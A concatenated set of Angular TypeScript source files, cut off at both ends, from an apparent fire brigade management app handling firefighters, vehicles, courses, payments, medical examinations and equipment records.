modalTitle: string; @Input('content') modalContent: string; @Input('contentParams') modalContentParams: Object; @Output('confirmAction') confirmFn: EventEmitter<any> = new EventEmitter<any>(); constructor() {} makeAction() { this.confirmFn.emit(); } } <file_sep>import { Component, Input, forwardRef } from '@angular/core'; import { ControlValueAccessor, NG_VALUE_ACCESSOR } from '@angular/forms'; import { MatDatepicker } from '@angular/material'; @Component({ selector: 'app-date-picker', templateUrl: './date-picker.component.html', styleUrls: ['./date-picker.component.scss'], providers: [ { provide: NG_VALUE_ACCESSOR, multi: true, useExisting: forwardRef(() => DatePickerComponent) } ] }) export class DatePickerComponent implements ControlValueAccessor { value: string | Date; @Input() name: string; @Input() placeholder: string; @Input() mode: string; onChange: Function = () => {}; onTouched: Function = () => {}; constructor() {} writeValue(value: any): void { this.value = value; } registerOnChange(fn: Function): void { this.onChange = fn; } registerOnTouched(fn: Function): void { this.onTouched = fn; } changeDateValue(): void { this.onChange(this.value); } _selectYear(evt: Date, datepicker: MatDatepicker<any>) { if (this.mode === 'year') { datepicker.close(); this.value = evt; this.onChange(this.value); } } } <file_sep>export * from './actions.component'; export * from './actions.module'; export * from './actions.service'; <file_sep>import { Component, OnInit } from '@angular/core'; import { ActionsModalComponent } from './actions-modal/actions-modal.component'; import { ActionsService } from './actions.service'; import { ActionsTable } from './actions.table'; import { Column } from '@app/components/table/models'; import { ModalService } from '@app/components/modal'; import { PaginationConfig } from '@app/shared/model'; import { TableService } from '@app/components/table'; @Component({ selector: 'app-actions', templateUrl: './actions.component.html', styleUrls: ['./actions.component.scss'], providers: [ActionsTable, TableService] }) export class ActionsComponent implements OnInit { tableData: Array<any>; tableConfig: Array<Column>; paginationConfig: PaginationConfig = new PaginationConfig(); constructor(private modal: ModalService, private actionsService: ActionsService, private actionsTable: ActionsTable) { this.tableConfig = this.actionsTable.getConfig(); } ngOnInit() { this.loadActions(); } changePage(evt): void { this.loadActions({ page: evt.pageIndex + 1 }); } openAddDialog(): void { this.modal .open(ActionsModalComponent) .beforeClose() .subscribe(() => this.loadActions()); } private loadActions(params: Object = { page: 1 }): void { this.actionsService.query().subscribe(data => { this.tableData = data; }); } } <file_sep>import * as _ from 'lodash'; import { HttpClient, HttpParams } from '@angular/common/http'; import { Injectable } from '@angular/core'; import { Observable } from 'rxjs'; import { environment } from 'environments/environment'; @Injectable() export class CoursesService { requestUrl = `${environment.SERVER_URL}/api/courses`; constructor(private http: HttpClient) {} findAll(params?: Object): Observable<any> { const p = new HttpParams().set('page', _.get(params, 'page')); return this.http.request('get', this.requestUrl, { params: p, observe: 'response' }); } findFirefighterCourse(id: number, type: string): Observable<any> { return this.http.get(`${this.requestUrl}/${id}/${type}`); } findFirefighterCourses(id: number): Observable<any> { return this.http.get(`${this.requestUrl}/${id}`); } save(data: Object): Observable<any> { return this.http.post(this.requestUrl, data); } } <file_sep>import { CarWeight, ExtinguishingEquipment, SpecialCarsPurpose, TasksCar } from '@app/shared/enums'; export class Car { id?: string; mark: string; model: string; registrationNumber: string; productionDate: Date; operationNumber: string; taskCar: TasksCar; carWeight: CarWeight; technicalExaminationDate: Date; insuranceDate: Date; specialCarsPurpose: SpecialCarsPurpose; extinguishingEquipment: ExtinguishingEquipment; waterTankCapacity: number; foamTankCapacity: number; autopompePerformance: number; motopompePerformance: number; carType: string; carMileage: number; } <file_sep>import { MatPaginator, MatPaginatorIntl, MatPaginatorModule } from '@angular/material'; import { NgModule } from '@angular/core'; import { PaginationComponent } from './pagination.component'; import { PaginationTranslating } from './pagination-translating'; import { SharedModule } from '@app/shared'; import { TranslateService } from '@ngx-translate/core'; @NgModule({ imports: [ SharedModule, MatPaginatorModule ], exports: [PaginationComponent], declarations: [PaginationComponent], providers: [ MatPaginator, { provide: MatPaginatorIntl, useClass: PaginationTranslating, deps: [TranslateService] } ] }) export class PaginationModule { } <file_sep>import * as moment from 'moment'; import { Component, OnInit } from '@angular/core'; import { MedicalExamination, PaginationConfig } from '@app/shared/model'; import { Column } from '@app/components/table/models'; import { MedicalExaminationModalTable } from './medical-examination-modal/medical-examination-modal.table'; import { MedicalExaminationService } from './medical-examination.service'; import { MedicalExaminationTable } from './medical-examination.table'; import { Principal } from '@app/core/auth'; import { TableService } from '@app/components/table'; @Component({ selector: 'app-medical-examination', templateUrl: './medical-examination.component.html', styleUrls: ['./medical-examination.component.scss'], providers: [MedicalExaminationTable, MedicalExaminationModalTable, TableService] }) export class MedicalExaminationComponent implements OnInit { tableConfiguration: Column[]; tableData: MedicalExamination[]; paginationConfig: PaginationConfig = new PaginationConfig(); firefighterEndDate: { isActual: boolean, to: string, remained: string } = { isActual: false, to: '', remained: '' }; constructor( private tableConfig: MedicalExaminationTable, private tableUserConfig: MedicalExaminationModalTable, private medicalExaminationService: MedicalExaminationService, private principal: Principal ) { } ngOnInit() { if (this.principal.hasPermision('ADMIN')) { this.tableConfiguration = this.tableConfig.getConfig(this.loadMedicalExaminationForFirefighters.bind(this)); this.loadMedicalExaminationForFirefighters(); } else { this.tableConfiguration = this.tableUserConfig.getConfig(); this.loadMedicalExaminationForFirefighterById(); } } changePage(evt) { this.loadMedicalExaminationForFirefighters({ page: evt.pageIndex + 1 }); } private loadMedicalExaminationForFirefighters(params: Object = { page: 1 }): void { this.medicalExaminationService.findAll(params).subscribe((data: any) => { this.paginationConfig.length = +data.body.totalCount; this.tableData = data.body.data; }); } private loadMedicalExaminationForFirefighterById(): void { this.medicalExaminationService.findByFirefighterId(this.principal.getUserId()).subscribe((data: MedicalExamination[]) => { this.tableData = data; this.getMedicalExaminationEndDate(); }); } private getMedicalExaminationEndDate() { const endDate = this.tableData.reduce((medicalExaminationFirst: MedicalExamination, medicalExaminationSecond: MedicalExamination) => { return medicalExaminationFirst.endMedicalExaminationDate > medicalExaminationSecond.endMedicalExaminationDate ? medicalExaminationFirst : medicalExaminationSecond; }); this.firefighterEndDate = { isActual: moment(endDate.endMedicalExaminationDate).diff(moment()) > 0, to: moment(endDate.endMedicalExaminationDate).format('DD-MM-YYYY'), remained: moment().to(moment(endDate.endMedicalExaminationDate)) }; } } <file_sep>import * as _ from 'lodash'; import { Column } from '@app/components/table/models'; import { ColumnType } from '@app/shared/enums'; import { IconType } from './models/icon-type'; import { Injectable } from '@angular/core'; @Injectable() export class TableService { private column: Column = new Column(); private columns: Array<Column> = []; constructor() {} addColumn(name: string, width?: string) { this.column.name = name; this.column.width = width ? width : 'auto'; return this; } setColumnType(type: ColumnType) { this.column.type = type; return this; } addActionForColumn(action: Function) { this.column.columnAction = action; return this; } setTranslationPrefix(translatePrefix: string) { this.column.translationPrefix = translatePrefix; return this; } addTooltip(tooltip: string) { this.column.tooltip = tooltip; return this; } addHeaderTooltip(tooltip: string) { this.column.translationTooltip = tooltip; return this; } addTranslation(translation: string) { this.column.translation = translation; return this; } addIcon(iconType: IconType, width?: string, iconName?: string) { this.column.icon = iconType; this.column.width = width ? width : '50px'; this.column.iconName = iconName; return this; } setIconDisabled() { this.column.iconDisabled = true; return this; } addIconClass(iconClass: Function | string) { if (_.isString(iconClass)) { this.column.iconClassStr = iconClass as string; } else { this.column.iconClass = iconClass as Function; } return this; } save() { this.columns.push(this.column); this.column = new Column(); } getConfig(): Array<Column> { return this.columns; } clearColumns(): void { this.columns = []; } } <file_sep>import { LoaderComponent, LoaderModule } from '@app/components/loader'; import { MAIN_ROUTES } from './main.routing'; import { MainComponent } from './main.component'; import { MenuModule } from '@app/components/menu'; import { NavbarModule } from '@app/components/navbar'; import { NgHttpLoaderModule } from 'ng-http-loader'; import { NgModule } from '@angular/core'; import { RouterModule } from '@angular/router'; import { SharedModule } from '@app/shared'; @NgModule({ imports: [ SharedModule, NavbarModule, MenuModule, NgHttpLoaderModule, LoaderModule, RouterModule.forChild(MAIN_ROUTES) ], declarations: [MainComponent], entryComponents: [LoaderComponent] }) export class MainModule { constructor() {} } <file_sep>export * from './firefighters-type'; export * from './gender'; export * from './column-type'; export * from './tasks-car'; export * from './car-weight'; export * from './extinguishing-equpimnet'; export * from './special-cars-purpose'; export * from './actions-type'; export * from './course-kind'; export * from './course-icon-type'; <file_sep>import { Component, OnDestroy } from '@angular/core'; import { LoginService } from '@app/core/auth'; import { MenuPosition } from '@app/shared/model'; import { MenuService } from './menu.service'; @Component({ selector: 'app-menu', templateUrl: './menu.component.html', styleUrls: ['./menu.component.scss'] }) export class MenuComponent implements OnDestroy { menu: Array<MenuPosition>; constructor( private menuService: MenuService, public loginService: LoginService ) { this.menu = this.createMenu(); } private createMenu(): Array<MenuPosition> { this.menuService .addPosition('firefighters') .addLink('firefighters') .addTranslation('menu.firefighters') .addIcon('firefighters.png') .setPermision('ADMIN') .save(); this.menuService .addPosition('departures') .addLink('actions') .addTranslation('menu.departures') .addIcon('departures.png') .setPermision(['ADMIN', 'USER']) .save(); this.menuService .addPosition('cars') .addLink('cars') .addTranslation('menu.cars') .addIcon('cars.png') .setPermision('ADMIN') .save(); this.menuService .addPosition('medicalExamination') .addLink('medical-examination') .addTranslation('menu.medicalExamination') .addIcon('medicalExamination.png') .setPermision(['ADMIN', 'USER']) .save(); this.menuService .addPosition('courses') .addLink('courses') .addTranslation('menu.courses') .addIcon('courses.png') .setPermision(['ADMIN', 'USER']) .setVisibility(false) .save(); this.menuService .addPosition('fees') .addLink('payments') .addTranslation('menu.fees') .addIcon('fees.png') .setPermision(['ADMIN', 'USER']) .save(); this.menuService .addPosition('equipmentInvetory') .addLink('equipment') .addTranslation('menu.equipmentInvetory') .addIcon('equipmentInvetory.png') .setPermision('ADMIN') .setVisibility(false) .save(); return this.menuService.getMenu(); } ngOnDestroy() { this.menuService.clearMenu(); } } <file_sep>import { Column, IconType } from '@app/components/table/models'; import { ColumnType } from '@app/shared/enums'; import { Injectable } from '@angular/core'; import { TableService } from '@app/components/table'; @Injectable() export class FirefightersTable { constructor(private table: TableService) {} getConfig(): Array<Column> { this.table .addColumn('edit') .setColumnType(ColumnType.ICON) .addIcon(IconType.EDIT) .save(); this.table .addColumn('id', '51px') .addTranslation('global.id') .save(); this.table .addColumn('name') .addTranslation('firefighters.name') .save(); this.table .addColumn('surname') .addTranslation('firefighters.surname') .save(); this.table .addColumn('gender') .setColumnType(ColumnType.ICON) .addIcon(IconType.GENDER) .addTranslation('firefighters.gender') .save(); this.table .addColumn('birthdayDate') .setColumnType(ColumnType.DATE) .addTranslation('firefighters.birthdayDate') .save(); this.table .addColumn('entryDate') .setColumnType(ColumnType.DATE) .addTranslation('firefighters.entryDate') .save(); this.table .addColumn('type') .setColumnType(ColumnType.TRANSLATE_TEXT) .setTranslationPrefix('firefighters.types') .addTranslation('firefighters.type') .save(); this.table .addColumn('remove') .setColumnType(ColumnType.ICON) .addIcon(IconType.REMOVE) .save(); return this.table.getConfig(); } } <file_sep>export * from './enum.service'; <file_sep>import { OwlDateTimeModule, OwlNativeDateTimeModule } from 'ng-pick-datetime'; import { MatInputModule } from '@angular/material'; import { NgModule } from '@angular/core'; import { SharedModule } from '@app/shared'; import { TimePickerComponent } from './time-picker.component'; @NgModule({ imports: [ SharedModule, MatInputModule, OwlDateTimeModule, OwlNativeDateTimeModule ], declarations: [TimePickerComponent], exports: [TimePickerComponent] }) export class TimePickerModule { } <file_sep>import { Column, IconType } from '@app/components/table/models'; import { ColumnType } from '@app/shared/enums'; import { Injectable } from '@angular/core'; import { TableService } from '@app/components/table'; @Injectable() export class ActionsTable { constructor(private table: TableService) {} getConfig(): Array<Column> { this.table .addColumn('id', '51px') .addTranslation('global.id') .save(); this.table .addColumn('kind') .setColumnType(ColumnType.TRANSLATE_TEXT) .addTranslation('actions.interventionType') .setTranslationPrefix('actions.actionsType') .save(); this.table .addColumn('date') .setColumnType(ColumnType.DATE) .addTranslation('actions.date') .save(); this.table .addColumn('eventAddress') .addTranslation('actions.eventAddress') .save(); this.table .addColumn('time') .setColumnType(ColumnType.TIME) .addTranslation('actions.time') .save(); this.table .addColumn('cars') .setColumnType(ColumnType.LIST) .addTranslation('actions.multitudeName') .save(); this.table .addColumn('firefighters', '250px') .setColumnType(ColumnType.LIST) .addTranslation('actions.firefightersName') .save(); return this.table.getConfig(); } } <file_sep>import * as _ from 'lodash'; import { Car, SelectDictionary } from '@app/shared/model'; import { CarWeight, ExtinguishingEquipment, SpecialCarsPurpose, TasksCar } from '@app/shared/enums'; import { Component, Inject, OnInit } from '@angular/core'; import { FormBuilder, FormGroup, Validators } from '@angular/forms'; import { AppToastrService } from '@app/core/toastr'; import { CarsService } from '../cars.service'; import { EnumService } from '@app/core/enum'; import { MAT_DIALOG_DATA } from '@angular/material'; import { ModalService } from '@app/components/modal'; @Component({ selector: 'app-cars-modal', templateUrl: './cars-modal.component.html', styleUrls: ['./cars-modal.component.scss'] }) export class CarsModalComponent implements OnInit { carsForm: FormGroup; taskCar: Array<SelectDictionary>; carWeight: Array<SelectDictionary>; specialCarsPurpose: Array<SelectDictionary>; extinguishingEquipment: Array<SelectDictionary>; selectedCarTask: string; selectEdextinguishingEquipment: string; constructor( private fb: FormBuilder, private enumService: EnumService, private carsService: CarsService, private toastr: AppToastrService, private modal: ModalService, @Inject(MAT_DIALOG_DATA) private data: { id: number } ) { this.taskCar = this.enumService.create(TasksCar, 'cars.tasksCar'); this.carWeight = this.enumService.create(CarWeight, 'cars.weight'); this.specialCarsPurpose = this.enumService.create( SpecialCarsPurpose, 'cars.purpose' ); this.extinguishingEquipment = this.enumService.create( ExtinguishingEquipment, 'cars.equipment' ); } ngOnInit() { this.getCarById(); this.carsForm = this.createCarsForm(); } changeCarTask(): void { this.selectedCarTask = this.carsForm.get('taskCar').value; } changeExtinguishingEquipment(): void { this.selectEdextinguishingEquipment = this.carsForm.get('extinguishingEquipment').value; } save(): void { if (this.data.id) { this.updateCar(this.carsForm.value); } else { this.saveCar(this.carsForm.value); } } private saveCar(carObj: Car): void { this.carsService.save(carObj).subscribe( (car: Car) => { this.toastr.success('cars.message.create.success', { mark: car.mark, model: car.model }); this.modal.close(); }, () => { this.toastr.error('cars.message.create.error'); } ); } private updateCar(carObj: Car): void { this.carsService .update(this.data.id, carObj) .subscribe( (car: Car) => { this.toastr.success('cars.message.update.success', { mark: car.mark, model: car.model }); this.modal.close(); }, () => this.toastr.error('cars.message.update.error') ); } private getCarById(): void { if (this.data.id) { this.carsService .findById(this.data.id) .subscribe((car: Car) => { this.carsForm.patchValue({ mark: car.mark, model: car.model, registrationNumber: car.registrationNumber, productionDate: car.productionDate, operationNumber: car.operationNumber, taskCar: car.taskCar, carWeight: car.carWeight, technicalExaminationDate: car.technicalExaminationDate, insuranceDate: car.insuranceDate, specialCarsPurpose: car.specialCarsPurpose, extinguishingEquipment: car.extinguishingEquipment, waterTankCapacity: car.waterTankCapacity, foamTankCapacity: car.foamTankCapacity, autopompePerformance: car.autopompePerformance, motopompePerformance: car.motopompePerformance, carType: car.carType, carMileage: car.carMileage }); this.changeExtinguishingEquipment(); }); } } private createCarsForm(): FormGroup { return this.fb.group({ mark: ['', [Validators.required]], model: ['', [Validators.required]], registrationNumber: ['', [Validators.required]], productionDate: ['', [Validators.required]], operationNumber: ['', [Validators.required]], taskCar: ['', [Validators.required]], carWeight: ['', [Validators.required]], technicalExaminationDate: [''], insuranceDate: [''], specialCarsPurpose: [null], extinguishingEquipment: [null], equipmentOrPurpose: [{ value: null, disabled: true }], waterTankCapacity: ['', [Validators.required]], foamTankCapacity: ['', [Validators.required]], autopompeOrMotopompePerformance: [{ value: null, disabled: true }], autopompePerformance: [null], motopompePerformance: [null], carType: ['', [Validators.required]], carMileage: [''] }); } } <file_sep>export * from './column'; export * from './icon-type'; <file_sep>import * as _ from 'lodash'; import { HttpClient, HttpParams } from '@angular/common/http'; import { Injectable } from '@angular/core'; import { Observable } from 'rxjs'; import { environment } from 'environments/environment'; @Injectable() export class PaymentsService { requestUrl = `${environment.SERVER_URL}/api/payments`; constructor(private http: HttpClient) {} findAll(params?: Object): Observable<any> { const p = new HttpParams().set('page', _.get(params, 'page')); return this.http.request('get', this.requestUrl, { params: p, observe: 'response' }); } findFirefighterPayments(id: number): Observable<any> { return this.http.get(`${this.requestUrl}/${id}`); } create(payment: { paidYear: number, FirefighterId: number}): Observable<any> { return this.http.post(this.requestUrl, payment); } } <file_sep>import { CUSTOM_ELEMENTS_SCHEMA, NgModule } from '@angular/core'; import { MatInputModule, MatTooltipModule } from '@angular/material'; import { InputNumberComponent } from './input-number.component'; import { SharedModule } from '@app/shared'; @NgModule({ imports: [ SharedModule, MatInputModule, MatTooltipModule ], exports: [InputNumberComponent], declarations: [InputNumberComponent], schemas: [CUSTOM_ELEMENTS_SCHEMA] }) export class InputNumberModule { } <file_sep>import { Column, IconType } from '@app/components/table/models'; import { ColumnType } from '@app/shared/enums'; import { Injectable } from '@angular/core'; import { TableService } from '@app/components/table'; @Injectable() export class ActionsModalTable { constructor(private table: TableService) {} getEquipmentItemsConfig(): Array<Column> { this.table.clearColumns(); this.table .addColumn('id', '50px') .addTranslation('actions.usedEquipmentItems.id') .save(); this.table .addColumn('value') .addTranslation('actions.usedEquipmentItems.name') .save(); return this.table.getConfig(); } getCarsConfig(): Array<Column> { this.table.clearColumns(); this.table .addColumn('edit') .setColumnType(ColumnType.ICON) .addIcon(IconType.EDIT) .save(); this.table .addColumn('car') .addTranslation('actions.multitude.car') .save(); this.table .addColumn('departureTime') .setColumnType(ColumnType.TIME) .addTranslation('actions.multitude.departureTime') .save(); this.table .addColumn('arrivalTime') .setColumnType(ColumnType.TIME) .addTranslation('actions.multitude.arrivalTime') .save(); this.table .addColumn('completeActivityTime') .setColumnType(ColumnType.TIME) .addTranslation('actions.multitude.completeActivityTime') .save(); this.table .addColumn('returnTime') .setColumnType(ColumnType.TIME) .addTranslation('actions.multitude.returnTime') .save(); this.table .addColumn('remove') .setColumnType(ColumnType.ICON) .addIcon(IconType.REMOVE) .save(); return this.table.getConfig(); } getFirefightersConfig(): Array<Column> { this.table.clearColumns(); this.table .addColumn('value') .addTranslation('actions.firefighters.name') .save(); this.table .addColumn('car') .addTranslation('actions.firefighters.multitude') .save(); return this.table.getConfig(); } } <file_sep>import * as _ from 'lodash'; import { HttpClient, HttpParams } from '@angular/common/http'; import { Firefighter } from '@app/shared/model'; import { FirefighterType } from '@app/shared/enums'; import { Injectable } from '@angular/core'; import { Observable } from 'rxjs'; import { environment } from 'environments/environment'; @Injectable() export class FirefightersService { requestUrl = `${environment.SERVER_URL}/api/firefighters`; constructor(private http: HttpClient) {} findAll(params?: Object): Observable<any> { const p = new HttpParams().set('page', _.get(params, 'page')); return this.http.request('get', this.requestUrl, { params: p, observe: 'response' }); } findById(id: number): Observable<any> { return this.http.get(`${this.requestUrl}/${id}`); } findMinimal(type: FirefighterType): Observable<any> { return this.http.get(`${this.requestUrl}/minimal/${type}`); } save(firefighter: Firefighter): Observable<any> { return this.http.post(this.requestUrl, firefighter); } update(id: number, firefighter: Firefighter): Observable<any> { return this.http.put(`${this.requestUrl}/${id}`, firefighter); } remove(id: number): Observable<any> { return this.http.delete(`${this.requestUrl}/${id}`); } } <file_sep>export enum CourseKind { BASIC = 'BASIC', TECHNICAL_RESCUE = 'TECHNICAL_RESCUE', FIRST_AID = 'FIRST_AID', WATER_RESCUE = 'WATER_RESCUE', HARDWARE_CONSERVATOR = 'HARDWARE_CONSERVATOR', CHEMICAL_AND_ECOLOGICAL_RESCUE = 'CHEMICAL_AND_ECOLOGICAL_RESCUE', ALTITUDE_RESCUE = 'ALTITUDE_RESCUE', SERVICE_CAR_WITH_LIFT = 'SERVICE_CAR_WITH_LIFT', SERVICE_CAR_WITH_LADY = 'SERVICE_CAR_WITH_LADY', SEARCH_AND_RESCUE = 'SEARCH_AND_RESCUE', COMMANDERS = 'COMMANDERS', WARDROBES = 'WARDROBES', COMMUNES_COMMANDER = 'COMMUNES_COMMANDER' } <file_sep>import { CUSTOM_ELEMENTS_SCHEMA, NgModule } from '@angular/core'; import { MatButtonModule, MatCardModule, MatInputModule } from '@angular/material'; import { LoginComponent } from './login.component'; import { LoginRoutingModule } from './login.routing'; import { SharedModule } from '@app/shared'; @NgModule({ imports: [ SharedModule, MatCardModule, MatButtonModule, MatInputModule, LoginRoutingModule ], declarations: [LoginComponent], schemas: [CUSTOM_ELEMENTS_SCHEMA] }) export class LoginModule { constructor() { } } <file_sep>import * as _ from 'lodash'; import { Column, IconType } from '@app/components/table/models'; import { ColumnType } from '@app/shared/enums'; import { Injectable } from '@angular/core'; import { MedicalExaminationModalComponent } from './medical-examination-modal/medical-examination-modal.component'; import { ModalService } from '@app/components/modal'; import { TableService } from '@app/components/table'; @Injectable() export class MedicalExaminationTable { constructor(private table: TableService, private modal: ModalService) {} getConfig(loadFn: Function): Column[] { this.table .addColumn('notesMedical') .setColumnType(ColumnType.ICON) .addIcon(IconType.MEDICAL_NOTES) .addTooltip('medicalExamination.medicalExaminationModalLabel') .addActionForColumn((element) => { this.modal.open(MedicalExaminationModalComponent, { id: _.get(element, 'firefighter.id'), name: _.get(element, 'firefighter.name') }).beforeClose().subscribe(() => loadFn()); }) .save(); this.table .addColumn('firefighter.name', '250px') .addTranslation('medicalExamination.name') .save(); this.table .addColumn('medicalExaminationDate', '140px') .setColumnType(ColumnType.DATE) .addTranslation('medicalExamination.medicalExaminationDate') .save(); this.table .addColumn('endMedicalExaminationDate', '240px') .setColumnType(ColumnType.DATE) .addTranslation('medicalExamination.endMedicalExaminationDate') .save(); return this.table.getConfig(); } } <file_sep>export class PaginationConfig { length: number; size: string; constructor() { this.size = '12'; } } <file_sep>import * as _ from 'lodash'; import { Component, Inject, OnInit } from '@angular/core'; import { FormBuilder, FormGroup, Validators } from '@angular/forms'; import { AppToastrService } from './../../../core/toastr/app-toastr.service'; import { Column } from '@app/components/table/models'; import { CoursesService } from '../courses.service'; import { MAT_DIALOG_DATA } from '@angular/material'; import { ModalService } from '@app/components/modal'; import { RefreshAndHistoryCourseTable } from './refresh-and-history-course.table'; @Component({ selector: 'app-refresh-and-history-course', templateUrl: './refresh-and-history-course.component.html', styleUrls: ['./refresh-and-history-course.component.scss'], providers: [RefreshAndHistoryCourseTable] }) export class RefreshAndHistoryCourseComponent implements OnInit { refreshCourseForm: FormGroup; tableConfiguration: Column[]; tableData: any[]; constructor( @Inject(MAT_DIALOG_DATA) private data: { id: number, course: string }, private coursesService: CoursesService, private fb: FormBuilder, private tableConfig: RefreshAndHistoryCourseTable, private toastr: AppToastrService ) { } ngOnInit() { this.loadHistoryOfCourse(); this.refreshCourseForm = this.createRefreshCourseForm(); this.tableConfiguration = this.tableConfig.getConfig(); } save() { const course = _.assign(_.omit(this.refreshCourseForm.value, ['id']), { FirefighterId: this.data.id, courseType: this.data.course}); this.coursesService.save(course).subscribe(() => { this.toastr.success('courses.message.refresh.success'); this.loadHistoryOfCourse(); }, () => { this.toastr.error('courses.message.refresh.error'); }); } private loadHistoryOfCourse() { this.coursesService.findFirefighterCourse(this.data.id, this.data.course).subscribe((data: any) => { this.tableData = data; }); } private createRefreshCourseForm(): FormGroup { return this.fb.group({ courseCompletitionDate: [null, [Validators.required]], courseValidityEnd: [null] }); } } <file_sep>import * as _ from 'lodash'; import { Component, EventEmitter, Input, OnInit, Output } from '@angular/core'; import { ColumnType } from '@app/shared/enums'; import { DomSanitizer } from '@angular/platform-browser'; import { IconType } from './models/icon-type'; import { MatIconRegistry } from '@angular/material'; @Component({ selector: 'app-table', templateUrl: './table.component.html', styleUrls: ['./table.component.scss'] }) export class TableComponent implements OnInit { @Input('dataSource') dataSource; @Input('config') tableConfig; @Input('tableWidth') tableWidth: string; @Output('editAction') editFn: EventEmitter<any> = new EventEmitter<any>(); @Output('deleteAction') deleteFn: EventEmitter<any> = new EventEmitter<any>(); displayedColumns: Array<string>; iconTypes = IconType; columnType = ColumnType; constructor(iconRegistry: MatIconRegistry, sanitizer: DomSanitizer) { iconRegistry.addSvgIcon( 'delete', sanitizer.bypassSecurityTrustResourceUrl( './../../../assets/icons/trash-solid.svg' ) ); iconRegistry.addSvgIcon( 'edit', sanitizer.bypassSecurityTrustResourceUrl( './../../../assets/icons/edit-solid.svg' ) ); iconRegistry.addSvgIcon( 'male', sanitizer.bypassSecurityTrustResourceUrl( '../../../assets/icons/mars-solid.svg' ) ); iconRegistry.addSvgIcon( 'female', sanitizer.bypassSecurityTrustResourceUrl( '../../../assets/icons/venus-solid.svg' ) ); iconRegistry.addSvgIcon( 'notesMedical', sanitizer.bypassSecurityTrustResourceUrl( '../../../assets/icons/notes-medical-solid.svg' ) ); } ngOnInit() { this.displayedColumns = this.createDisplayedColumns(); } onEditAction(element: Object): void { this.editFn.emit(element); } onDeleteAction(element): void { this.deleteFn.emit(element); } isIcon(icon: IconType | undefined): boolean { return _.isNil(icon); } displayText(row: Object, path: string): string { return _.get(row, path) ? _.get(row, path) : ''; } displayList(list: string[]): string { return list.join(', '); } trackByFn(index: number) { return index; } private createDisplayedColumns(): Array<string> { return this.tableConfig.map(col => { return col.name; }); } } <file_sep>import { Component, Inject, OnInit } from '@angular/core'; import { FormBuilder, FormGroup } from '@angular/forms'; import { AppToastrService } from '@app/core/toastr'; import { EquipmentItem } from '@app/shared/model'; import { EquipmentService } from './../equipment.service'; import { MAT_DIALOG_DATA } from '@angular/material'; import { ModalService } from '@app/components/modal'; @Component({ selector: 'app-equipment-modal', templateUrl: './equipment-modal.component.html', styleUrls: ['./equipment-modal.component.scss'] }) export class EquipmentModalComponent implements OnInit { equipmentForm: FormGroup; constructor( private fb: FormBuilder, private equipmentService: EquipmentService, private toastr: AppToastrService, private modal: ModalService, @Inject(MAT_DIALOG_DATA) private data: { id: number } ) {} ngOnInit() { this.getEquipmentItemById(); this.equipmentForm = this.createEquipmentForm(); } save(): void { if (this.data.id) { this.updateEquipmentItem(); } else { this.saveEquipmentItem(); } } private saveEquipmentItem(): void { this.equipmentService .save(this.equipmentForm.value) .subscribe( (equipmentItem: EquipmentItem) => { this.toastr.success('equipment.message.create.success', { name: equipmentItem.name }); this.modal.close(); }, () => this.toastr.error('equipment.message.create.error') ); } private updateEquipmentItem(): void { this.equipmentService .update(this.data.id, this.equipmentForm.value) .subscribe( (equipmentItem: EquipmentItem) => { this.toastr.success('equipment.message.update.success', { name: equipmentItem.name }); this.modal.close(); }, () => this.toastr.error('equipment.message.update.error') ); } private getEquipmentItemById(): void { if (this.data.id) { this.equipmentService .findById(this.data.id) .subscribe((equipmentItem: EquipmentItem) => { this.equipmentForm.patchValue({ name: equipmentItem.name, approvalDate: equipmentItem.approvalDate }); }); } } private createEquipmentForm(): FormGroup { return this.fb.group({ name: [''], approvalDate: [''] }); } } <file_sep>import { Credentials } from '@app/shared/model'; import { HttpClient } from '@angular/common/http'; import { Injectable } from '@angular/core'; import { Principal } from './principal.service'; import { Router } from '@angular/router'; import { environment } from 'environments/environment'; @Injectable() export class LoginService { constructor(private router: Router, private http: HttpClient, private principal: Principal) { } login(credentials: Credentials) { this.http.post(`${environment.SERVER_URL}/api/login`, credentials).subscribe((token: { token: string}) => { sessionStorage.setItem('authorization-token', token.token); this.principal.getUserInfoFromToken(); this.router.navigate(['']); }); } logout() { sessionStorage.removeItem('authorization-token'); this.router.navigate(['login']); } } <file_sep>export enum CourseIconType { COURSE_ACTUAL = 'COURSE_ACTUAL', COURSE_WARN = 'COURSE_WARN', COURSE_ERROR = 'COURSE_ERROR', COURSE_NOT_ACTUAL = 'COURSE_NOT_ACTUAL' } <file_sep>import * as _ from 'lodash'; import { Component, Inject, OnInit } from '@angular/core'; import { FirefighterType } from '@app/shared/enums'; import { FirefightersService } from '@app/main/firefighters'; import { MAT_DIALOG_DATA } from '@angular/material'; import { Minimal } from '@app/shared/model'; import { ModalService } from '@app/components/modal'; @Component({ selector: 'app-add-firefighters', templateUrl: './add-firefighters.component.html', styleUrls: ['./add-firefighters.component.scss'], providers: [FirefightersService] }) export class AddFirefightersComponent implements OnInit { firefighters: Array<Minimal>; checkedFirefighters: Array<Array<Object>> = []; constructor( private firefighterService: FirefightersService, private modal: ModalService, @Inject(MAT_DIALOG_DATA) public data: { cars: Array<Object>, firefighters?: Array<Object> }, ) { } ngOnInit() { this.loadMinimalFirefighters(); } selectFirefighter(firefighter: Minimal, rowIdx: number, colIdx: number) { this.checkedFirefighters[colIdx][rowIdx]['multitude'] = firefighter; for (let i = 0; i < _.size(this.data.cars); i++) { if (colIdx === i) { continue; } this.checkedFirefighters[i][rowIdx]['checked'] = false; } } add() { let preparedFirefighters = []; _.forEach(this.checkedFirefighters, (checked: Array<Minimal>, idx: number) => { preparedFirefighters = preparedFirefighters.concat(_.map(_.filter(checked, 'checked'), (element: Object) => { return _.assign(element['multitude'], _.pick(this.data.cars[idx], ['car'])); })); }); this.modal.close(preparedFirefighters); } trackByFn(_, index: number): number { return index; } private loadMinimalFirefighters() { this.firefighterService.findMinimal(FirefighterType.JOT).subscribe((data: Array<Minimal>) => { this.firefighters = data; this.createModelForCheckboxes(); this.prepareDataForEditFirefighteresList(); }); } private createModelForCheckboxes() { let arrModel; for (let j = 0; j < _.size(this.data.cars); j++) { arrModel = []; for (let i = 0; i < _.size(this.firefighters); i++) { arrModel.push({ checked: false, multitude: null }); } this.checkedFirefighters.push(arrModel); } } private prepareDataForEditFirefighteresList() { let firefighterIdx; let carIdx; _.forEach(this.data.firefighters, (firefighter: Object) => { firefighterIdx = _.findIndex(this.firefighters, { value: firefighter['value'] }); carIdx = _.findIndex(this.data.cars, { car: firefighter['car'] }); this.checkedFirefighters[carIdx][firefighterIdx] = { checked: true, multitude: firefighter }; }); } } <file_sep>import { Column } from '@app/components/table/models'; import { ColumnType } from '@app/shared/enums'; import { Injectable } from '@angular/core'; import { TableService } from '@app/components/table'; @Injectable() export class 